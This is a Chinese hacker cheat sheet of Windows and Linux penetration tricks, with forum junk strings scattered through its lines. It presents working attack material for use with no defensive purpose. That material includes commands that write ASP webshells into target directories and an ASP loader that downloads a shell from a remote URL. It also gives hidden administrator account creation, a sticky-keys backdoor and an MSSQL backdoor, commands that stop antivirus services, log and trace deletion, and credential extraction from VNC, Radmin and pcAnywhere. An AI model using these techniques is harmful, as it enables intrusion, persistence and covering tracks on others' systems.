渗透技巧总结

admin

旁站路径问题
2 x: Q7 v3 r# T2 o: b7 M' `) R9 b1、读网站配置。
! L% D/ R3 I5 Y2、用以下VBS
On Error Resume Next
8 O0 ?  m+ O. A( [If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
% y7 d4 j" `) {' I/ r9 f7 T        

' i" y: P. q7 d: b6 T* IMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
3 B8 S$ F% M+ x2 ^5 Q5 r; s
Usage:Cscript vWeb.vbs",4096,"Lilo"
8 y: L& t2 |' i5 U9 J; W$ f        WScript.Quit
End If
Set ObjService=GetObject
9 h4 j7 d) \8 z7 E5 N1 _3 r
/ f5 o8 N: N* U) L+ a  l("IIS://LocalHost/W3SVC")
7 H( y, ^: @- {7 \For Each obj3w In objservice
3 P/ u$ v2 q% Q- Y! q; V5 z        If IsNumeric(obj3w.Name)

8 Q' r. R1 D+ F1 c$ d8 E' t1 i0 wThen
1 S" @' ~" ~+ K" w% u7 l+ |* e                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

  `" G9 ~% z- T4 X% e( R       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
% k1 h9 d0 l: F2 b" B3 Q6 p' C( N                If Err

<> 0 Then WScript.Quit (1)
7 `: Z/ d% Q  I+ c                WScript.Echo Chr(10) & "[" &
: q! L& M/ f  c8 r+ j- p+ G1 T2 F
% v/ [' |- J* [3 pOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
# I5 v6 O1 L  ~) [' }3 X1 Y
- k- t4 C+ n: q9 ?                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
% m6 t: W/ C) [. G* o
3 b- Q, c$ H3 d: t) W/ c. aWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
: }: [. u* `  }/ ]                Next
  e( ^- Q* Y( O. |! D      

         WScript.Echo "ath            : " & VDirObj.Path
        End If
- [& Y* {! u, N$ xNext
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
; T5 q6 p1 a5 I. v( M+ c4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
* k! I2 G% S$ \1 y' k—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
6 m( j) v, d$ y5 {# L% GphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
8 [/ G8 W- a/ ]* QphpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
3 g' h) E0 Z: K9 dphpmyadmin/themes/darkblue_orange/layout.inc.php
% J. a% m' h! T8 n————————————————————
& c5 d  O0 P/ q$ {; g网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
2 b* s: F1 U$ D5 S7 D( T: S————————————————————
0 S3 z0 A$ Z2 J0 p1 RCMD下操作VPN相关
5 a- e, p+ S  x) C+ |3 y" o; mnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
8 y% O; H) @% x' @& ^+ T" Znetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
; f6 L/ F' D+ J) c9 F) b4 `+ }9 Iexec master.dbo.sp_addlogin test,123
6 Z- [9 H* q6 }4 j5 O. v$ zEXEC sp_addsrvrolemember 'test, 'sysadmin'
4 |, j# f# e: |% ?" V然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
: B6 W& }  L! D9 S8 v9 S
另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
" @  g+ x6 ]* _% z" I: W6 d) s  B# Njs:
. j- \& }! C3 _4 Q' x/ [  `9 b: \var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
2 H: a( `& o9 G. p8 m
vbs:
Set   o=CreateObject( "Shell.Users" )
$ ?2 x2 w" ^+ l6 g0 L/ r% KSet z=o.create("test")
! `0 ~9 f; W' t6 Y$ A5 t5 sz.changePassword "123456",""
- M9 M: p0 N& Y% o! Q4 e) Uz.setting("AccountType")=3
- g- P5 O  ?/ }, E0 T  y5 Q——————————————————
+ t9 I" z* y% ]0 Fcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
! l9 t& n& @4 d7 l1 I0 P, m
' E3 e: T& P7 k; p; H- X- v命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
. _, T2 a, W+ V3 t* _1 k————————以下配合PR更好————
  W3 N& c+ |' `, i3389相关
: W  W/ Q3 B9 X8 L8 Ra、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
( S" N8 p- O+ H/ Y& C$ yb、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
9 y9 q# C4 e' k+ D
杀软关闭（把杀软所在的文件的所有权限去掉）
+ p: e/ n5 j+ k4 y" k* i处理变态诺顿企业版：
3 D8 A9 P* P0 r3 Unet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
9 q  r( M1 g4 _' ]/ v1 C& Qnet stop "Symantec Event Manager" /y
) ^7 v* K) c4 p' C) `! qnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
" |$ |( _" N$ e* B: d9 s
卖咖啡：net stop "McAfee McShield"
* h8 c2 H0 M$ B————————————————————

; q% ]4 n$ L4 H+ X: ]* x5次SHIFT：
4 c5 a1 h  G  [9 _  Zcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
. J6 Z4 W! ~# Z/ m4 H# ?隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
; J! @+ a- K% `, |/ `% m( a2、导出注册表SAM下用户的两个键值
8 G# _( t$ i& @7 Y) C/ ]* x3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
8 Q' Z8 `9 Q5 U( p# s' S5 }# x3 W——————————————————————
MSSQL扩展后门：
- j( q9 G! Q: U5 `. K4 p/ O" G$ k- fUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
! J" V( Z% f5 n2 A; r: V$ LC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
1 d/ y: ^1 d3 K" n3 p! Gex011120.log / ex011121.log / ex011124.log三个文件，
& B' W& U: c6 M1 ?- C* ?0 n1 ^直接删除 ex0111124.log
不成功，“原文件...正在使用”
  ?! p+ Z- ]) e( k3 y7 ^当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
2 I2 m. S) c$ n7 x. F1 n当停止msftpsvc服务后可直接删除ex011124.log
" M! b$ R1 v) W% d
1 T5 m) _: R1 Q( ]* Y+ Q% jMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
9 B& _8 o( C* G2 b  s5 u) z7 THKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
6 M: m' G3 O2 p8 n! o) X2 [找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
3 C, O6 [4 s+ X3 Z5 }4 Q
7 Y; U1 f, N2 m; T4 m9 a: KServer\90\Tools\Shell\mru.dat
—————————————————————————
' K" }* \6 A3 m( \% e& u: B防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

& U; w3 u) x! J* u<%
8 l3 j. ^% R2 B8 NSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
) D/ c" h& y; h; aDim Ads, Retrieval, GetRemoteData
On Error Resume Next
3 H2 L, y. z: p, SSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
5 T# k2 V0 z9 ^0 c0 Q9 pWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
GetRemoteData = .ResponseBody
# `6 y) B; i. |4 q: S4 y! S% HEnd With
' U! j# C4 D' y( s+ P- dSet Retrieval = Nothing
1 V1 o5 s. u7 f5 sSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
! W  u, V9 V" Y7 z: p% d.Open
# T' o1 H) O( q# q6 O9 |; X3 k- V' C' N.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
% n0 }( v" @- a( mEnd With
Set Ads=nothing
7 K% E" A1 W! Z: l& w0 {8 KEnd Sub

$ t6 H3 V  C# ?) n) L4 v. reWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
( d$ l. Q, K% |7 b%>

VNC提权方法:
. W0 {9 s) U( a利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
" T- D- n; m9 Aregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
' u6 i& X( C( G' j. nHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
; C8 S' U( [1 T/ A0 p, S0 K; CHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
1 @6 k+ `* X3 c3 M" \' g保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
, ?; Q0 j8 A& D: jUsers\Application Data\Symantec\pcAnywhere\文件夹下。
) @  C9 U" }! e# v——————————————————————
- I( E: M' Q7 v- _" w6 v2 f搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
  C1 C8 U. E2 N3 U+ g7 B——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
: @6 Z' q, v/ w6 M/ i% V9 r% M来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
5 \  c: k2 T4 t% f4 q( U3 K6 B7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
% S/ Q' b5 M  \5 T<%
strSQLServerName = "服务器ip"
6 g* P+ E- _9 U) nstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
3 \6 Z4 x# ?8 N' y+ c+ EstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

+ X. F+ k  T: EstrSQLDBName & ";"
4 u: ~& L, c' w, qconn.open strCon
dim rs,strSQL,id
3 t( W- \1 k) aset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
6 T$ O& Y0 X2 c# i4 ?6 j& e复制代码
. C: n3 A6 O' X1 a: t6 D+ x; a******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
; V3 X! B0 m& K2 @/ s; q看看密码登录策略我们可以看到使用了file ldap模式
7 _5 ]8 S, k) s. @% u. h4 d4 t/ x3 b' K9 ]
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

. `$ p* T* O: Y/ b0 B3.查找管理员信息
+ d4 j& n( \; A# R6 _8 m3 q  k匿名方式
4 L  ], S; C: B0 S+ Fldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
( E$ X  d0 o; v, s, w7 o" f. o
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
  j8 f( O7 X' o3 m8 k4 Vldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
( j5 D2 |# c& Q) J) D
& b7 c8 V* Y, ]% P/ L. {"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


+ X" ~, c0 j, }/ F( Q: @4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

* w  x0 W) }/ f4 S( S6 e4 D+ \- d8 w  R, C2.less /etc/ldap.conf
3 r# `* f& y1 Q+ Tbase ou=People,dc=unix-center,dc=net
/ j0 P, k6 |0 q找到ou,dc,dc设置

) i1 {9 L# d6 l. _" A3.查找管理员信息
5 S* W; @% ^  W6 Y匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
6 j* i) o/ L# Y  y4 o: R4 E+ y& {( s有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
" x2 A& N0 i8 r) H$ l# Bldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
6 W- V1 r3 o/ I2 e( z% ?+ d
渗透实战:
1.返回所有的属性
. C1 f6 l! q: u$ I( X. sldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
* {0 W$ G) ?7 u0 l4 ~7 I$ C4 odc: ruc
objectClass: domain
8 S, Y6 ^$ |2 Z
, S, o5 ], x! C$ R' p: I  D/ A/ g, ydn: uid=manager,dc=ruc,dc=edu,dc=cn
" I! A$ F) e4 r* A# ruid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
& F1 X. s% n+ V# c( B3 T, w. Vsn: manager
cn: manager
* g+ _  ?$ N9 F7 F/ r* }
! q" j/ j, R; d9 J* ~# Vdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
+ N/ W" g8 Z  GobjectClass: inetOrgPerson
9 z& Y7 y4 M- f5 KobjectClass: organizationalPerson
. a0 }# \; ~/ g0 eobjectClass: person
objectClass: top
0 j, T! X' ~$ h) Usn: superadmin
" a$ X! j# a( _  K* m4 K+ ycn: superadmin
9 j3 Z/ f3 D) {- c! k$ q" a# z, f  f
dn: uid=admin,dc=ruc,dc=edu,dc=cn
5 ?8 W4 [3 @2 g. H9 j7 m  c+ l" K* Juid: admin
; P4 S1 ~1 c+ LobjectClass: inetOrgPerson
objectClass: organizationalPerson
0 w1 {: E+ U4 {objectClass: person
) c: c( Z8 t! z: i/ {objectClass: top
& {9 @+ D/ q0 f( y( B# O0 Osn: admin
cn: admin
( j1 J9 C5 T" G1 }' ]) [% H
: Z1 n. G* @. O: c/ ^dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
/ b  @2 b" u7 Y2 e+ Ouid: dcp_anonymous
objectClass: top
4 }0 D& {4 K( `& U8 l/ L4 QobjectClass: person
7 v- v/ p! x$ V# [4 h' O! pobjectClass: organizationalPerson
4 ^/ K4 v1 }6 c4 ^# Y0 {objectClass: inetOrgPerson
sn: dcp_anonymous
9 U1 K) D9 s) w/ e- Mcn: dcp_anonymous
  n5 H: l9 O) \0 ?+ t$ T* y/ T, r
2.查看基类
. Z5 [& h9 b" n0 g9 D  a0 y4 X" c8 ~bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
5 ~- D% d2 s1 F- v  w5 R/ m
more
version: 1
dn: dc=ruc,dc=edu,dc=cn
! E, u8 A) L) d* ?9 ]dc: ruc
% y; @2 y4 K, W* q& K8 D4 GobjectClass: domain

6 I, I. `8 o! B8 i2 N3.查找
( N- D" u" i6 e$ V( e$ ?+ m9 zbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
- }+ t# `( b' ^, aobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
+ O& o+ K5 O5 W# }! tsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
3 B0 U7 R$ w- j- [6 h- xsupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
, [* W' N# k3 S+ q2 W" MsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
( w! E. P; _! Y& g5 s% S/ F0 u2 wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
/ Z9 V' k; l6 I. e2 {3 Q  X* TsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
( l, l" W& }; D  x) a: Q- Q! GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
9 L- P0 A3 m( j, h& ~/ dsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
" b# q- D4 N2 q/ @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
# e7 k, t6 r3 {+ E6 SsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
+ k$ G# a6 Z& p  o$ j: DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
0 J9 ]1 _9 `8 V6 \( {8 p6 wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
. f9 z& z4 N6 [  vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
- W9 d- `3 ?  s0 FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
) `6 F" s- P2 T5 Z* d: z! tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
# j( g$ O5 p, h" J3 k: k* H: MsupportedControl: 2.16.840.1.113730.3.4.4
1 o% J* j8 S  H% }9 b+ q4 DsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
+ E2 A! S  ^  y# n; p" t2 ]( p: ~supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
' L+ f! Q& b( f! I* y& c$ YsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
' e) w' o1 G1 T" f2 g+ W: EsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
% B0 V; y, M' Y: PsupportedControl: 2.16.840.1.113730.3.4.12
* N) v; ]+ ?6 u) lsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
, d6 ~( J0 f* z6 c$ [0 _4 I) T" FsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
2 X, [1 {3 Z% AsupportedLDAPVersion: 2
: |3 ?* x# L; t0 A* Q, v4 G  t3 p$ MsupportedLDAPVersion: 3
! Z0 \7 Z7 t2 L; D  K5 XvendorName: Sun Microsystems, Inc.
( `+ x7 R" w3 NvendorVersion: Sun-Java(tm)-System-Directory/6.2
5 L7 u  c, @: H3 C' Sdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
; H$ ^8 k% ~' o0 K- v& E$ ~supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
# W2 P# X- p( D1 _7 o9 @. _supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
" W# y7 S5 d9 _9 fsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
. @  m0 }4 B: O& S0 h( lsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
4 Q* f' C5 U, z! k( \2 DsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
; K" V; _1 z: r4 Y, ?supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
' u3 R3 o8 v' S" ?! KsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
* X' l8 t4 d: V* T0 H, z# ZsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
1 D. R% ?- C; c2 o: AsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
- P3 b9 x# `5 w5 V. ]/ a: _supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
6 d% }! Y6 L; ^2 D& bsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
' l. z% \8 m: R) }% r0 isupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
7 v9 g$ N8 E# U" y2 k7 ]" R7 }supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
  A6 s$ H9 c% v0 }$ H8 g! k/ jsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
/ a: c! H4 E$ h" jsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
7 O( v7 Q3 s! D1 d; l+ AsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
1 r2 J4 v/ o3 ?% i( q5 F9 csupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
( I2 C5 O8 g8 qsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
# Q6 \" }) P. P" r6 u3 i' f* jsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
" g9 l5 V  f( fsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
3 y4 ~: a' O5 v. R& j& ^supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
6 d9 \# L& x  c- Z# \' _% Y" O0 psupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
0 p9 A) ]7 T. J4 E) [supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
" }1 @+ U6 d) F5 @supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
+ V' z* V. N% {/ ^supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
" l7 h& ?( \2 z$ _; E* i" p* E, asupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
" ]. C+ u4 `3 @6 n2 r+ i# |  Z$ K- |supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
- D. g3 D& U' Z( I- ~& Y% O" K* N————————————
2. NFS渗透技巧
showmount -e ip
列举IP
' S0 a) H8 o' `$ l: m  V$ [5 G3 I4 s——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
  j1 V( o$ n9 |3 ursync 210.51.X.X::
finance
, J, g, L& z7 b8 @+ limg_finance
3 [- }/ C: m7 |; X/ y2 f, }4 k4 m6 m: aauto
! y2 [1 ~' e7 x7 x0 @img_auto
6 i6 n4 M; j# e* L" rhtml_cms
img_cms
# ^* P' i- D, K1 l2 \8 d! _ent_cms
ent_img
ceshi
res_img
res_img_c2
" a3 T" V$ d5 c' J! Y" w" v1 K8 ^( tchip
chip_c2
ent_icms
games
2 N( [2 N. p7 y+ i- N7 P1 ^& Cgamesimg
media
mediaimg
7 G9 N4 X' c# [4 w+ A0 efashion
res-fashion
res-fo
6 i2 H( H3 I) n" h, Z$ Rtaobao-home
res-taobao-home
- {7 F" [4 o. t4 h8 k) b' |house
4 M0 g9 z% Z( d8 z/ `( g9 d. E* |res-house
7 q) Q2 S6 a( G' y9 T% }' P7 ]res-home
0 L  P+ i$ o' w0 r8 y& {res-edu
# D6 D5 _" t7 F" a* m8 a7 Y$ B0 `res-ent
res-labs
res-news
res-phtv
res-media
- X. U% _6 r/ jhome
edu
news
res-book
6 Q: V- ~% a0 B1 U, |
& k' m1 o- Q8 @* J( Y, `3 D$ W看相应的下级目录(注意一定要在目录后面添加上/)

# @* A0 n9 v; A; }& F" i# @
# H) ^, ?$ T/ Y' A) R! Grsync 210.51.X.X::htdocs_app/
% p1 y! m% h, srsync 210.51.X.X::auto/
, J4 z& l+ K$ N, Mrsync 210.51.X.X::edu/

/ T& \* T8 J5 ^  L0 N% I2.下载rsync服务器上的配置文件
+ o+ e6 s! e5 u9 R4 ~" ]rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
7 W% ~! s- j: V( I" ~
3.向上更新rsync文件(成功上传,不会覆盖)
  R8 t& @& Q% [) t5 Prsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
2 v! ]  I5 V. v8 c
四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
5 b$ \1 [5 @: H/ _  @' Y% C% N0 C* TGET HTTP://WWW.sina.com:22 / HTTP/1.0
6 v! k0 P* ?& [" t) J# l+ H3 w2 A五.SSH端口转发
8 o2 t! J# f) U$ W+ D/ {! Kssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
# K5 K8 `1 @  Z, @$ J. n# Z( \1 X
! l- F3 S# e) K/ o2 V六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

8 n2 s2 ]0 N' h5 B15&catid=32:languages&Itemid=47
3 K/ N0 [1 [- P' e
重新设置密码
7 N; Z% \9 u% c& t4 m. c' ~index.php?option=com_user&view=reset&layout=confirm
/ p$ I, q: l! _: A
; {8 D5 y3 X/ C七: Linux添加UID为0的root用户
